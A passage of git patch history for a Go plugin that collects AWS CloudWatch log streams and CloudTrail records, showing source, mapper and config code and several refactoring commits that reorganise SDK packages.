context_values.PagingDataFromContext[*paging.Cloudwatch](ctx) + + input := &cloudwatchlogs.DescribeLogStreamsInput{ + LogGroupName: &s.config.LogGroupName, + // // set prefix (this may be nil) + LogStreamNamePrefix: s.config.LogStreamPrefix, + } + + paginator := cloudwatchlogs.NewDescribeLogStreamsPaginator(s.client, input) + + var activeCount, inactiveCount int + for paginator.HasMorePages() { + output, err := paginator.NextPage(ctx) + if err != nil { + // Handle error + return fmt.Errorf("failed to get log streams, %w", err) + } + + for _, logStream := range output.LogStreams { + streamName := typehelpers.SafeString(logStream.LogStreamName) + + // get the time range of interest for this stream, + startTime, endTime := s.getTimeRange(ctx, streamName, paging) + // does this stream have entries within this time range + if !logStreamNameWithinTimeRange(logStream, startTime, endTime) { + inactiveCount++ + continue + } + activeCount++ + + // populate enrichment fields the the source is aware of + // - in this case the source type and name + // TODO #enrich check these + sourceEnrichmentFields := &enrichment.CommonFields{ + TpSourceType: "cloudwatch", + TpSourceName: streamName, + } + + // TODO handle rate limiting errors + info := &types.ArtifactInfo{Name: streamName, EnrichmentFields: sourceEnrichmentFields} + // notify observers of the discovered artifact + if err := s.OnArtifactDiscovered(ctx, info); err != nil { + // TODO #err - should we return an error here or gather all errors? + return fmt.Errorf("failed to notify observers of discovered artifact, %w", err) + } + } + } + slog.Info("DiscoverArtifacts - log streams discovered", "active", activeCount, "inactive", inactiveCount) + return nil +} + +func logStreamNameWithinTimeRange(logStream cloudwatch_types.LogStream, startTime, endTime int64) bool { + if logStream.LastIngestionTime == nil || logStream.FirstEventTimestamp == nil { + return false + } + return *logStream.LastIngestionTime > startTime && *logStream.FirstEventTimestamp < endTime +} + +//func (s *CloudWatchArtifactSource) DownloadArtifactsWithFilter(ctx context.Context, info *types.ArtifactInfo) error { +// // Define the query string to filter logs from the specified log stream +// queryString := fmt.Sprintf("fields @timestamp as Timestamp, @message as Message, @ingestionTime as IngestionTime | filter @logStream == '%s' | sort @timestamp desc", info.Name) +// +// startTime, endTime := s.getTimeRange(ctx, info) +// // if start time is after the end time, return +// if startTime >= endTime { +// slog.Info("DownloadArtifact - log stream already downloaded", "log stream", info.Name) +// return nil +// } +// +// startQueryInput := &cloudwatchlogs.StartQueryInput{ +// LogGroupName: &s.config.LogGroupName, +// QueryString: &queryString, +// StartTime: &startTime, +// EndTime: &endTime, +// } +// +// startQueryOutput, err := s.client.StartQuery(ctx, startQueryInput) +// if err != nil { +// return fmt.Errorf("failed to start query, %w", err) +// } +// +// queryID := *startQueryOutput.QueryId +// +// // copy the object data to a temp file +// localFilePath := path.Join(s.TmpDir, info.Name) +// // ensure the directory exists of the file to write to +// if err := os.MkdirAll(filepath.Dir(localFilePath), 0755); err != nil { +// return fmt.Errorf("failed to create directory for file, %w", err) +// } +// +// // Create a local file to write the data to +// outFile, err := os.Create(localFilePath) +// if err != nil { +// return fmt.Errorf("failed to create file, %w", err) +// } +// defer outFile.Close() +// enc := json.NewEncoder(outFile) +// +// // Poll for query results +// timeout := 5 * time.Minute +// err = retry.Do(ctx, retry.WithMaxDuration(timeout, retry.NewConstant(50*time.Millisecond)), func(ctx context.Context) error { +// // apply rate limiter +// // TODO necessary - we can just control backoff? +// if err := s.limiter.Wait(ctx); err != nil { +// return fmt.Errorf("error acquiring rate limiter: %w", err) +// } +// +// getQueryResultsInput := &cloudwatchlogs.GetQueryResultsInput{ +// QueryId: &queryID, +// } +// +// getQueryResultsOutput, err := s.client.GetQueryResults(ctx, getQueryResultsInput) +// if err != nil { +// return fmt.Errorf("failed to get query results, %w", err) +// } +// +// isComplete := getQueryResultsOutput.Status == cloudwatch_types.QueryStatusComplete || getQueryResultsOutput.Status == cloudwatch_types.QueryStatusFailed || getQueryResultsOutput.Status == cloudwatch_types.QueryStatusCancelled +// if !isComplete { +// return retry.RetryableError(fmt.Errorf("query not complete, %w", err)) +// } +// +// for _, result := range getQueryResultsOutput.Results { +// row := make(map[string]string) +// for _, field := range result { +// row[*field.Field] = *field.Value +// } +// err := enc.Encode(row) +// if err != nil { +// return fmt.Errorf("failed to write event to file, %w", err) +// } +// } +// return nil +// }) +// if err != nil { +// return fmt.Errorf("failed to get query results, %w", err) +// } +// +// // notify observers of the discovered artifact +// downloadInfo := &types.ArtifactInfo{Name: localFilePath, OriginalName: info.Name} +// +// return s.OnArtifactDownloaded(ctx, downloadInfo, nil) +//} + +// DownloadArtifact gets the log events for the specified log stream, +// respecting the time range in the config and paging data +func (s *CloudWatchArtifactSource) DownloadArtifact(ctx context.Context, info *types.ArtifactInfo) error { + // get the paging data + paging, _ := context_values.PagingDataFromContext[*paging.Cloudwatch](ctx) + // get the time range for the log stream + startTime, endTime := s.getTimeRange(ctx, info.Name, paging) + // if start time is after the end time, return + if startTime >= endTime { + slog.Info("DownloadArtifact - log stream already downloaded", "log stream", info.Name) + return nil + } + + input := &cloudwatchlogs.GetLogEventsInput{ + LogGroupName: &s.config.LogGroupName, + LogStreamName: &info.Name, + StartTime: &startTime, + EndTime: &endTime, + } + + // copy the object data to a temp file + localFilePath := path.Join(s.TmpDir, fmt.Sprintf("%s.json", info.Name)) + // ensure the directory exists of the file to write to + if err := os.MkdirAll(filepath.Dir(localFilePath), 0755); err != nil { + return fmt.Errorf("failed to create directory for file, %w", err) + } + + // Create a local file to write the data to + outFile, err := os.Create(localFilePath) + if err != nil { + return fmt.Errorf("failed to create file, %w", err) + } + defer outFile.Close() + // create an encoder to write the events to the file + enc := json.NewEncoder(outFile) + + // keep track of the max time for the paging data + var maxTime int64 + // event count + var count int + + paginator := cloudwatchlogs.NewGetLogEventsPaginator(s.client, input) + var previousToken *string + for paginator.HasMorePages() { + // apply rate limiter + //if err := s.limiter.Wait(ctx); err != nil { + // return fmt.Errorf("error acquiring rate limiter: %w", err) + //} + output, err := paginator.NextPage(ctx) + if err != nil { + return fmt.Errorf("failed to get log events, %w", err) + } + + for _, event := range output.Events { + count++ + ts := *event.Timestamp + slog.Debug("DownloadArtifact - writing event to file", "artifact", info.Name, "ts", *event.Timestamp, "maxTime", maxTime) + // update the max time + if ts > maxTime { + maxTime = *event.Timestamp + } + // write the event to the file + if err := enc.Encode(event); err != nil { + return fmt.Errorf("failed to write event to file, %w", err) + } + } + + // Break the loop if the NextToken hasn't changed, indicating all data has been fetched + if previousToken != nil && output.NextForwardToken != nil && *previousToken == *output.NextForwardToken { + slog.Debug("DownloadArtifact - NextForwardToken is same as previous NextForwardToken - all data fetched", "log stream", info.Name) + break + } + previousToken = output.NextForwardToken + } + + // if no events were found, delete the file and return + if count == 0 { + fileErr := os.Remove(localFilePath) + if fileErr != nil { + slog.Warn("DownloadArtifact - no events found, failed to delete file", "artifact", info.Name, "file", localFilePath, "error", fileErr) + return fmt.Errorf("no events found, failed to delete file, %w", fileErr) + } + return nil + } + + // notify observers of the discovered artifact + downloadInfo := &types.ArtifactInfo{Name: localFilePath, OriginalName: info.Name} + + // build paging data + paging = paging.NewCloudwatch() + paging.Add(info.Name, maxTime) + + return s.OnArtifactDownloaded(ctx, downloadInfo, paging) +} + +// use the paging data (if present) and the configured time range to determine the start and end time +func (s *CloudWatchArtifactSource) getTimeRange(ctx context.Context, logStream string, paging *paging.Cloudwatch) (int64, int64) { + startTime := s.config.StartTime.UnixMilli() + endTime := s.config.EndTime.UnixMilli() + + if paging != nil { + // set start time from paging data if present + if prevTimestamp, ok := paging.Timestamps[logStream]; ok { + startTime = prevTimestamp + 1 + } + } + return startTime, endTime +} + +func (s *CloudWatchArtifactSource) getClient(ctx context.Context) (*cloudwatchlogs.Client, error) { + var opts []func(*config.LoadOptions) error + // TODO handle all credential types + // add credentials if provided + if s.config.AccessKey != "" && s.config.SecretKey != "" { + opts = append(opts, config.WithCredentialsProvider(credentials.NewStaticCredentialsProvider(s.config.AccessKey, s.config.SecretKey, s.config.SessionToken))) + } + // TODO do we need to specify a region? + // add with region + opts = append(opts, config.WithRegion("us-east-1")) + + cfg, err := config.LoadDefaultConfig(ctx, opts...) + if err != nil { + return nil, fmt.Errorf("unable to load SDK config, %w", err) + } + + client := cloudwatchlogs.NewFromConfig(cfg) + return client, nil +} diff --git a/aws_source/cloudwatch_mapper.go b/aws_source/cloudwatch_mapper.go new file mode 100644 index 00000000..9d1a4ed1 --- /dev/null +++ b/aws_source/cloudwatch_mapper.go @@ -0,0 +1,46 @@ +package aws_source + +import ( + "context" + "encoding/json" + "fmt" + "github.com/turbot/tailpipe-plugin-sdk/artifact" + "github.com/turbot/tailpipe-plugin-sdk/helpers" +) + +// CloudwatchMapper is an [plugin.Mapper] implementation +// that receives JSON data and returns AWSCloudTrail records +type CloudwatchMapper struct { +} + +// NewCloudwatchMapper creates a new CloudwatchMapper +func NewCloudwatchMapper() artifact.Mapper { + return &CloudwatchMapper{} +} + +func (c *CloudwatchMapper) Identifier() string { + return artifact.AWSCloudwatchMapperIdentifier +} + +// Map unmarshalls JSON into an AWSCloudTrailBatch object and extracts AWSCloudTrail records from it +func (c *CloudwatchMapper) Map(_ context.Context, a *artifact.ArtifactData) ([]*artifact.ArtifactData, error) { + // the expected input type is a JSON string deserializable to a map with keys "IngestionTime", "Timestamp" and "Message" + jsonString, ok := a.Data.(string) + if !ok { + return nil, fmt.Errorf("expected string, got %T", a) + } + + var cloudwatchEntry map[string]any + err := json.Unmarshal([]byte(jsonString), &cloudwatchEntry) + if err != nil { + return nil, fmt.Errorf("error decoding json: %w", err) + } + row := cloudwatchEntry["Message"].(string) + metadata := a.Metadata.Clone() + metadata.TpIngestTimestamp = helpers.UnixMillis(cloudwatchEntry["IngestionTime"].(float64)) + metadata.TpTimestamp = helpers.UnixMillis(cloudwatchEntry["Timestamp"].(float64)) + + d := artifact.NewData(row, artifact.WithMetadata(metadata)) + + return []*artifact.ArtifactData{d}, nil +} diff --git a/aws_source/cloudwatch_source.go b/aws_source/cloudwatch_source.go new file mode 100644 index 00000000..796c07c0 --- /dev/null +++ b/aws_source/cloudwatch_source.go @@ -0,0 +1,26 @@ +package aws_source + +import ( + "context" + "github.com/turbot/tailpipe-plugin-sdk/hcl" + "github.com/turbot/tailpipe-plugin-sdk/row_source" +) + +const CloudwatchSourceIdentifier = "aws_cloudwatch_source" + +type CloudwatchSource struct { + row_source.ArtifactRowSource +} + +func NewCloudwatchSource() row_source.RowSource { + return &CloudwatchSource{} +} + +// Identifier returns the name of the row source +func (c *CloudwatchSource) Identifier() string { + return CloudwatchSourceIdentifier +} + +func (c *CloudwatchSource) Init(ctx context.Context, configData *hcl.Data, opts ...row_source.RowSourceOption) error { + return c.ArtifactRowSource.Init(ctx, configData, opts...) +} diff --git a/aws_source/cloudwatch_source_config.go b/aws_source/cloudwatch_source_config.go new file mode 100644 index 00000000..51a0f25c --- /dev/null +++ b/aws_source/cloudwatch_source_config.go @@ -0,0 +1,25 @@ +package aws_source + +import ( + "github.com/turbot/tailpipe-plugin-sdk/artifact" + "time" +) + +// AwsCloudWatchSourceConfig is the configuration for an [CloudWatchArtifactSource] +type AwsCloudWatchSourceConfig struct { + artifact.SourceConfigBase + // TODO #confif connection based credentiuals mechanism + AccessKey string + SecretKey string + SessionToken string + + // the log group to collect + LogGroupName string + + // collect log streams with this prefixthe log stream prefix + LogStreamPrefix *string + + // the time range to collect for + StartTime time.Time + EndTime time.Time +} From 9b28494548572daa2a0bc0723fdac4af894a10c8 Mon Sep 17 00:00:00 2001 From: kai Date: Wed, 31 Jul 2024 10:56:59 +0100 Subject: [PATCH 033/180] split up artifact packae into artifact_source, artifact_loader, artifact_mapper implement factory based approach for collection/source creation currenty apass plugin reference to collection/source as factor interface - about to try changing --- aws/plugin.go | 4 ++-- aws_collection/cloudtrail_log_collection.go | 7 ++++--- aws_collection/vpc_flow_log_collection.go | 4 ++-- aws_source/cloudtrail_mapper.go | 11 ++++++----- aws_source/cloudwatch_artifact_source.go | 9 +++++---- aws_source/cloudwatch_mapper.go | 17 +++++++++++------ aws_source/cloudwatch_source.go | 3 ++- aws_source/cloudwatch_source_config.go | 4 ++-- 8 files changed, 34 insertions(+), 25 deletions(-) diff --git a/aws/plugin.go b/aws/plugin.go index 0e42adfd..4125140b 100644 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -3,7 +3,7 @@ package aws import ( "github.com/turbot/tailpipe-plugin-aws/aws_collection" "github.com/turbot/tailpipe-plugin-aws/aws_source" - "github.com/turbot/tailpipe-plugin-sdk/artifact" + "github.com/turbot/tailpipe-plugin-sdk/artifact_mapper" "github.com/turbot/tailpipe-plugin-sdk/plugin" "github.com/turbot/tailpipe-plugin-sdk/row_source" "log/slog" @@ -24,7 +24,7 @@ func NewPlugin() (plugin.TailpipePlugin, error) { // register the collections, sources and mappers that we provide collections := []func() plugin.Collection{aws_collection.NewCloudTrailLogCollection, aws_collection.NewVPCFlowLogLogCollection} sources := []func() row_source.RowSource{aws_source.NewCloudwatchSource} - mappers := []func() artifact.Mapper{aws_source.NewCloudtrailMapper} + mappers := []func() artifact_mapper.Mapper{aws_source.NewCloudtrailMapper} // register collections which we support if err := p.RegisterCollections(collections...); err != nil { diff --git a/aws_collection/cloudtrail_log_collection.go b/aws_collection/cloudtrail_log_collection.go index 384cac76..ebdd0ff6 100644 --- a/aws_collection/cloudtrail_log_collection.go +++ b/aws_collection/cloudtrail_log_collection.go @@ -2,6 +2,7 @@ package aws_collection import ( "fmt" + "github.com/turbot/tailpipe-plugin-sdk/artifact" "github.com/turbot/tailpipe-plugin-sdk/paging" "github.com/turbot/tailpipe-plugin-sdk/row_source" "strings" @@ -33,7 +34,7 @@ func NewCloudTrailLogCollection() plugin.Collection { func (c *CloudTrailLogCollection) SupportedSources() []string { // TODO #source do we need to to specify the type or artifact source supported? return []string{ - row_source.ArtifactRowSourceIdentifier, + artifact.ArtifactRowSourceIdentifier, } } @@ -46,8 +47,8 @@ func (c *CloudTrailLogCollection) Identifier() string { func (c *CloudTrailLogCollection) GetSourceOptions(sourceType string) []row_source.RowSourceOption { switch sourceType { // if source is an artifact source, use the cloudtrail mapper - case row_source.ArtifactRowSourceIdentifier: - return []row_source.RowSourceOption{row_source.WithMapper(aws_source.NewCloudtrailMapper())} + case artifact.ArtifactRowSourceIdentifier: + return []row_source.RowSourceOption{artifact.WithMapper(aws_source.NewCloudtrailMapper())} } return nil } diff --git a/aws_collection/vpc_flow_log_collection.go b/aws_collection/vpc_flow_log_collection.go index 233d48e6..107add1d 100644 --- a/aws_collection/vpc_flow_log_collection.go +++ b/aws_collection/vpc_flow_log_collection.go @@ -3,6 +3,7 @@ package aws_collection import ( "fmt" "github.com/turbot/tailpipe-plugin-aws/aws_source" + "github.com/turbot/tailpipe-plugin-sdk/artifact" "time" "github.com/rs/xid" @@ -12,7 +13,6 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/helpers" "github.com/turbot/tailpipe-plugin-sdk/paging" "github.com/turbot/tailpipe-plugin-sdk/plugin" - "github.com/turbot/tailpipe-plugin-sdk/row_source" ) // VPCFlowLogLogCollection - collection for VPC Flow Logs @@ -32,7 +32,7 @@ func (c *VPCFlowLogLogCollection) Identifier() string { func (c *VPCFlowLogLogCollection) SupportedSources() []string { return []string{ - row_source.ArtifactRowSourceIdentifier, + artifact.ArtifactRowSourceIdentifier, aws_source.CloudwatchSourceIdentifier, } } diff --git a/aws_source/cloudtrail_mapper.go b/aws_source/cloudtrail_mapper.go index 13a9e91a..51f84d04 100644 --- a/aws_source/cloudtrail_mapper.go +++ b/aws_source/cloudtrail_mapper.go @@ -5,7 +5,8 @@ import ( "encoding/json" "fmt" "github.com/turbot/tailpipe-plugin-aws/aws_types" - "github.com/turbot/tailpipe-plugin-sdk/artifact" + "github.com/turbot/tailpipe-plugin-sdk/artifact_mapper" + "github.com/turbot/tailpipe-plugin-sdk/types" "log/slog" ) @@ -14,7 +15,7 @@ type CloudtrailMapper struct { } // NewCloudtrailMapper creates a new CloudtrailMapper -func NewCloudtrailMapper() artifact.Mapper { +func NewCloudtrailMapper() artifact_mapper.Mapper { return &CloudtrailMapper{} } @@ -23,7 +24,7 @@ func (c *CloudtrailMapper) Identifier() string { } // Map casts the data item as an AWSCloudTrailBatch and returns the records -func (c *CloudtrailMapper) Map(_ context.Context, a *artifact.ArtifactData) ([]*artifact.ArtifactData, error) { +func (c *CloudtrailMapper) Map(_ context.Context, a *types.RowData) ([]*types.RowData, error) { // the expected input type is a JSON string deserializable to AWSCloudTrailBatch // TODO why is this string not byte[] @@ -41,9 +42,9 @@ func (c *CloudtrailMapper) Map(_ context.Context, a *artifact.ArtifactData) ([]* } slog.Debug("CloudwatchMapper", "record count", len(log.Records)) - var res = make([]*artifact.ArtifactData, len(log.Records)) + var res = make([]*types.RowData, len(log.Records)) for i, record := range log.Records { - res[i] = artifact.NewData(record) + res[i] = types.NewData(record) } return res, nil } diff --git a/aws_source/cloudwatch_artifact_source.go b/aws_source/cloudwatch_artifact_source.go index 99bb07c0..89a66d28 100644 --- a/aws_source/cloudwatch_artifact_source.go +++ b/aws_source/cloudwatch_artifact_source.go @@ -4,7 +4,8 @@ import ( "context" "encoding/json" "fmt" - "github.com/turbot/tailpipe-plugin-sdk/artifact" + "github.com/turbot/tailpipe-plugin-sdk/artifact_mapper" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "log/slog" "os" "path" @@ -25,7 +26,7 @@ import ( // CloudWatchArtifactSource is a [Source] implementation that reads logs from AWS CloudWatch // and writes them to a temp JSON file type CloudWatchArtifactSource struct { - artifact.SourceBase + artifact_source.SourceBase config *AwsCloudWatchSourceConfig client *cloudwatchlogs.Client @@ -60,12 +61,12 @@ func NewAwsCloudWatchSource(ctx context.Context, config *AwsCloudWatchSourceConf } func (s *CloudWatchArtifactSource) Identifier() string { - return artifact.AWSCloudwatchSourceIdentifier + return artifact_source.AWSCloudwatchSourceIdentifier } // Mapper returns a function that creates a new [Mapper] required by this source // [CloudwatchMapper] knows how to extract the row and metadata fields from the JSON that we save -func (s *CloudWatchArtifactSource) Mapper() func() artifact.Mapper { +func (s *CloudWatchArtifactSource) Mapper() func() artifact_mapper.Mapper { return NewCloudwatchMapper } diff --git a/aws_source/cloudwatch_mapper.go b/aws_source/cloudwatch_mapper.go index 9d1a4ed1..ed5f8ff6 100644 --- a/aws_source/cloudwatch_mapper.go +++ b/aws_source/cloudwatch_mapper.go @@ -4,8 +4,13 @@ import ( "context" "encoding/json" "fmt" - "github.com/turbot/tailpipe-plugin-sdk/artifact" + "github.com/turbot/tailpipe-plugin-sdk/artifact_mapper" "github.com/turbot/tailpipe-plugin-sdk/helpers" + "github.com/turbot/tailpipe-plugin-sdk/types" +) + +const ( + AWSCloudwatchMapperIdentifier = "aws_cloudwatch_mapper" ) // CloudwatchMapper is an [plugin.Mapper] implementation @@ -14,16 +19,16 @@ type CloudwatchMapper struct { } // NewCloudwatchMapper creates a new CloudwatchMapper -func NewCloudwatchMapper() artifact.Mapper { +func NewCloudwatchMapper() artifact_mapper.Mapper { return &CloudwatchMapper{} } func (c *CloudwatchMapper) Identifier() string { - return artifact.AWSCloudwatchMapperIdentifier + return AWSCloudwatchMapperIdentifier } // Map unmarshalls JSON into an AWSCloudTrailBatch object and extracts AWSCloudTrail records from it -func (c *CloudwatchMapper) Map(_ context.Context, a *artifact.ArtifactData) ([]*artifact.ArtifactData, error) { +func (c *CloudwatchMapper) Map(_ context.Context, a *types.RowData) ([]*types.RowData, error) { // the expected input type is a JSON string deserializable to a map with keys "IngestionTime", "Timestamp" and "Message" jsonString, ok := a.Data.(string) if !ok { @@ -40,7 +45,7 @@ func (c *CloudwatchMapper) Map(_ context.Context, a *artifact.ArtifactData) ([]* metadata.TpIngestTimestamp = helpers.UnixMillis(cloudwatchEntry["IngestionTime"].(float64)) metadata.TpTimestamp = helpers.UnixMillis(cloudwatchEntry["Timestamp"].(float64)) - d := artifact.NewData(row, artifact.WithMetadata(metadata)) + d := types.NewData(row, types.WithMetadata(metadata)) - return []*artifact.ArtifactData{d}, nil + return []*types.RowData{d}, nil } diff --git a/aws_source/cloudwatch_source.go b/aws_source/cloudwatch_source.go index 796c07c0..36c02c41 100644 --- a/aws_source/cloudwatch_source.go +++ b/aws_source/cloudwatch_source.go @@ -2,6 +2,7 @@ package aws_source import ( "context" + "github.com/turbot/tailpipe-plugin-sdk/artifact" "github.com/turbot/tailpipe-plugin-sdk/hcl" "github.com/turbot/tailpipe-plugin-sdk/row_source" ) @@ -9,7 +10,7 @@ import ( const CloudwatchSourceIdentifier = "aws_cloudwatch_source" type CloudwatchSource struct { - row_source.ArtifactRowSource + artifact.ArtifactRowSource } func NewCloudwatchSource() row_source.RowSource { diff --git a/aws_source/cloudwatch_source_config.go b/aws_source/cloudwatch_source_config.go index 51a0f25c..82cb2b76 100644 --- a/aws_source/cloudwatch_source_config.go +++ b/aws_source/cloudwatch_source_config.go @@ -1,13 +1,13 @@ package aws_source import ( - "github.com/turbot/tailpipe-plugin-sdk/artifact" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "time" ) // AwsCloudWatchSourceConfig is the configuration for an [CloudWatchArtifactSource] type AwsCloudWatchSourceConfig struct { - artifact.SourceConfigBase + artifact_source.SourceConfigBase // TODO #confif connection based credentiuals mechanism AccessKey string SecretKey string From d4c19188b58db1878e0540af26201bdae74e8ab1 Mon Sep 17 00:00:00 2001 From: kai Date: Wed, 31 Jul 2024 13:06:22 +0100 Subject: [PATCH 034/180] remove resource registration/factory from plugin added factory to row_source, artifact_loader, artifact_mapper, artifact_source, collection works nicely - just crashes on paging data --- aws/plugin.go | 24 ++++++++------------- aws_collection/cloudtrail_log_collection.go | 15 ++++++------- aws_collection/vpc_flow_log_collection.go | 7 +++--- aws_source/cloudwatch_source.go | 4 ++-- 4 files changed, 21 insertions(+), 29 deletions(-) diff --git a/aws/plugin.go b/aws/plugin.go index 4125140b..af9f0d65 100644 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -1,13 +1,15 @@ package aws import ( + "log/slog" + "time" + "github.com/turbot/tailpipe-plugin-aws/aws_collection" "github.com/turbot/tailpipe-plugin-aws/aws_source" "github.com/turbot/tailpipe-plugin-sdk/artifact_mapper" + "github.com/turbot/tailpipe-plugin-sdk/collection" "github.com/turbot/tailpipe-plugin-sdk/plugin" "github.com/turbot/tailpipe-plugin-sdk/row_source" - "log/slog" - "time" ) type Plugin struct { @@ -22,21 +24,13 @@ func NewPlugin() (plugin.TailpipePlugin, error) { slog.Info("YAWN") // register the collections, sources and mappers that we provide - collections := []func() plugin.Collection{aws_collection.NewCloudTrailLogCollection, aws_collection.NewVPCFlowLogLogCollection} - sources := []func() row_source.RowSource{aws_source.NewCloudwatchSource} - mappers := []func() artifact_mapper.Mapper{aws_source.NewCloudtrailMapper} - - // register collections which we support - if err := p.RegisterCollections(collections...); err != nil { - return nil, err - } - // register sources - if err := p.RegisterSources(sources...); err != nil { - return nil, err + resources := &plugin.ResourceFunctions{ + Collections: []func() collection.Collection{aws_collection.NewCloudTrailLogCollection, aws_collection.NewVPCFlowLogLogCollection}, + Sources: []func() row_source.RowSource{aws_source.NewCloudwatchSource}, + ArtifactMappers: []func() artifact_mapper.Mapper{aws_source.NewCloudtrailMapper}, } - // register artifact mappers - if err := p.RegisterArtifactMappers(mappers...); err != nil { + if err := p.RegisterResources(resources); err != nil { return nil, err } diff --git a/aws_collection/cloudtrail_log_collection.go b/aws_collection/cloudtrail_log_collection.go index ebdd0ff6..edaf67bd 100644 --- a/aws_collection/cloudtrail_log_collection.go +++ b/aws_collection/cloudtrail_log_collection.go @@ -2,9 +2,6 @@ package aws_collection import ( "fmt" - "github.com/turbot/tailpipe-plugin-sdk/artifact" - "github.com/turbot/tailpipe-plugin-sdk/paging" - "github.com/turbot/tailpipe-plugin-sdk/row_source" "strings" "time" @@ -12,10 +9,12 @@ import ( "github.com/turbot/tailpipe-plugin-aws/aws_source" "github.com/turbot/tailpipe-plugin-aws/aws_types" "github.com/turbot/tailpipe-plugin-aws/util" + "github.com/turbot/tailpipe-plugin-sdk/artifact_row_source" "github.com/turbot/tailpipe-plugin-sdk/collection" "github.com/turbot/tailpipe-plugin-sdk/enrichment" "github.com/turbot/tailpipe-plugin-sdk/helpers" - "github.com/turbot/tailpipe-plugin-sdk/plugin" + "github.com/turbot/tailpipe-plugin-sdk/paging" + "github.com/turbot/tailpipe-plugin-sdk/row_source" ) // CloudTrailLogCollection - collection for CloudTrail logs @@ -27,14 +26,14 @@ type CloudTrailLogCollection struct { Config *CloudTrailLogCollectionConfig } -func NewCloudTrailLogCollection() plugin.Collection { +func NewCloudTrailLogCollection() collection.Collection { return &CloudTrailLogCollection{} } func (c *CloudTrailLogCollection) SupportedSources() []string { // TODO #source do we need to to specify the type or artifact source supported? return []string{ - artifact.ArtifactRowSourceIdentifier, + artifact_row_source.ArtifactRowSourceIdentifier, } } @@ -47,8 +46,8 @@ func (c *CloudTrailLogCollection) Identifier() string { func (c *CloudTrailLogCollection) GetSourceOptions(sourceType string) []row_source.RowSourceOption { switch sourceType { // if source is an artifact source, use the cloudtrail mapper - case artifact.ArtifactRowSourceIdentifier: - return []row_source.RowSourceOption{artifact.WithMapper(aws_source.NewCloudtrailMapper())} + case artifact_row_source.ArtifactRowSourceIdentifier: + return []row_source.RowSourceOption{artifact_row_source.WithMapper(aws_source.NewCloudtrailMapper())} } return nil } diff --git a/aws_collection/vpc_flow_log_collection.go b/aws_collection/vpc_flow_log_collection.go index 107add1d..1a7b1747 100644 --- a/aws_collection/vpc_flow_log_collection.go +++ b/aws_collection/vpc_flow_log_collection.go @@ -3,7 +3,7 @@ package aws_collection import ( "fmt" "github.com/turbot/tailpipe-plugin-aws/aws_source" - "github.com/turbot/tailpipe-plugin-sdk/artifact" + "github.com/turbot/tailpipe-plugin-sdk/artifact_row_source" "time" "github.com/rs/xid" @@ -12,7 +12,6 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/enrichment" "github.com/turbot/tailpipe-plugin-sdk/helpers" "github.com/turbot/tailpipe-plugin-sdk/paging" - "github.com/turbot/tailpipe-plugin-sdk/plugin" ) // VPCFlowLogLogCollection - collection for VPC Flow Logs @@ -21,7 +20,7 @@ type VPCFlowLogLogCollection struct { collection.Base[VpcFlowLogCollectionConfig] } -func NewVPCFlowLogLogCollection() plugin.Collection { +func NewVPCFlowLogLogCollection() collection.Collection { return &VPCFlowLogLogCollection{} } @@ -32,7 +31,7 @@ func (c *VPCFlowLogLogCollection) Identifier() string { func (c *VPCFlowLogLogCollection) SupportedSources() []string { return []string{ - artifact.ArtifactRowSourceIdentifier, + artifact_row_source.ArtifactRowSourceIdentifier, aws_source.CloudwatchSourceIdentifier, } } diff --git a/aws_source/cloudwatch_source.go b/aws_source/cloudwatch_source.go index 36c02c41..5b1bbf05 100644 --- a/aws_source/cloudwatch_source.go +++ b/aws_source/cloudwatch_source.go @@ -2,7 +2,7 @@ package aws_source import ( "context" - "github.com/turbot/tailpipe-plugin-sdk/artifact" + "github.com/turbot/tailpipe-plugin-sdk/artifact_row_source" "github.com/turbot/tailpipe-plugin-sdk/hcl" "github.com/turbot/tailpipe-plugin-sdk/row_source" ) @@ -10,7 +10,7 @@ import ( const CloudwatchSourceIdentifier = "aws_cloudwatch_source" type CloudwatchSource struct { - artifact.ArtifactRowSource + artifact_row_source.ArtifactRowSource } func NewCloudwatchSource() row_source.RowSource { From b69f1c22530643206f3b0fabdd4c042527ddd885 Mon Sep 17 00:00:00 2001 From: kai Date: Wed, 31 Jul 2024 16:07:54 +0100 Subject: [PATCH 035/180] remove SourceConfigBase move AwsCloudWatchSource back to SDK Re-add Mapper to artifact_source.Source interface --- aws_collection/cloudtrail_log_collection.go | 15 +- aws_source/cloudwatch_artifact_source.go | 358 -------------------- aws_source/cloudwatch_mapper.go | 51 --- aws_source/cloudwatch_source_config.go | 25 -- 4 files changed, 2 insertions(+), 447 deletions(-) delete mode 100644 aws_source/cloudwatch_artifact_source.go delete mode 100644 aws_source/cloudwatch_mapper.go delete mode 100644 aws_source/cloudwatch_source_config.go diff --git a/aws_collection/cloudtrail_log_collection.go b/aws_collection/cloudtrail_log_collection.go index edaf67bd..076855f0 100644 --- a/aws_collection/cloudtrail_log_collection.go +++ b/aws_collection/cloudtrail_log_collection.go @@ -6,14 +6,13 @@ import ( "time" "github.com/rs/xid" - "github.com/turbot/tailpipe-plugin-aws/aws_source" "github.com/turbot/tailpipe-plugin-aws/aws_types" "github.com/turbot/tailpipe-plugin-aws/util" + "github.com/turbot/tailpipe-plugin-sdk/artifact_mapper" "github.com/turbot/tailpipe-plugin-sdk/artifact_row_source" "github.com/turbot/tailpipe-plugin-sdk/collection" "github.com/turbot/tailpipe-plugin-sdk/enrichment" "github.com/turbot/tailpipe-plugin-sdk/helpers" - "github.com/turbot/tailpipe-plugin-sdk/paging" "github.com/turbot/tailpipe-plugin-sdk/row_source" ) @@ -47,7 +46,7 @@ func (c *CloudTrailLogCollection) GetSourceOptions(sourceType string) []row_sour switch sourceType { // if source is an artifact source, use the cloudtrail mapper case artifact_row_source.ArtifactRowSourceIdentifier: - return []row_source.RowSourceOption{artifact_row_source.WithMapper(aws_source.NewCloudtrailMapper())} + return []row_source.RowSourceOption{artifact_row_source.WithMapper(artifact_mapper.NewCloudwatchMapper())} } return nil } @@ -57,16 +56,6 @@ func (c *CloudTrailLogCollection) GetRowSchema() any { return aws_types.AWSCloudTrail{} } -// GetPagingDataSchema implements plugin.Collection -// TODO #paging data HARD CODED for now -func (c *CloudTrailLogCollection) GetPagingDataSchema() (paging.Data, error) { - // TODO use config to determine correct paging data - // TODO move to source??? - // TODO use config to determine the type of paging data to return - // hard coded to cloudwatch for now - return paging.NewCloudwatch(), nil -} - // EnrichRow implements plugin.Collection func (c *CloudTrailLogCollection) 